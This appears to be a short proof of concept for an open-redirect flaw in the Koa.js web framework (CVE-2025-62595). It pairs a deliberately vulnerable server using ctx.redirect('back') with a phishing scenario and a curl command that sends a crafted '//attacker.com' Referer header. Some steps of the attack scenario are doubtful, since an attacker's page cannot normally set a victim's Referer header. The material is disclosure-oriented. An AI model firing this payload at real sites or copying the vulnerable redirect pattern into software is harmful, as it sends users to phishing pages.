CVE-2025-62595 Koa.js开放重定向漏洞（绕过CVE-2025-8129）

// PoC for CVE-2025-62595 - Koa.js Open Redirect via Referer Header // This PoC demonstrates how to bypass the back redirect protection const Koa = require('koa'); const app = new Koa(); // Vulnerable route that uses ctx.redirect('back') app.use(async (ctx) => { if (ctx.path === '/login') { // After login attempt, redirect back to the referer ctx.redirect('back'); } else { ctx.body = 'Click the link below to test:\n\n<a href="/login">Login (redirects back)</a>'; } }); app.listen(3000, () => { console.log('Vulnerable Koa.js server running on http://localhost:3000'); }); /* * Attack scenario: * * 1. Attacker creates a malicious page at https://attacker.com/phish * 2. The malicious page contains a link like: * <a href="http://victim-koa-app.com/login">Click here for free gift!</a> * * 3. However, the attacker sets the Referer header to a malicious URL: * Using protocol-relative URL bypass: Referer: //attacker.com/phish * * 4. When victim clicks the link, browser sends request with Referer header * containing the attacker's URL * * 5. Koa.js processes ctx.redirect('back') and incorrectly treats * "//attacker.com/phish" as a safe relative path * * 6. Browser interprets "//attacker.com/phish" as an absolute URL * and redirects the victim to attacker's phishing page * * Exploit using curl: * curl -v -H "Referer: //attacker.com/phishing" http://victim-app.com/login * * Expected response: 302 Found with Location: //attacker.com/phishing * Browser will redirect to: https://attacker.com/phishing */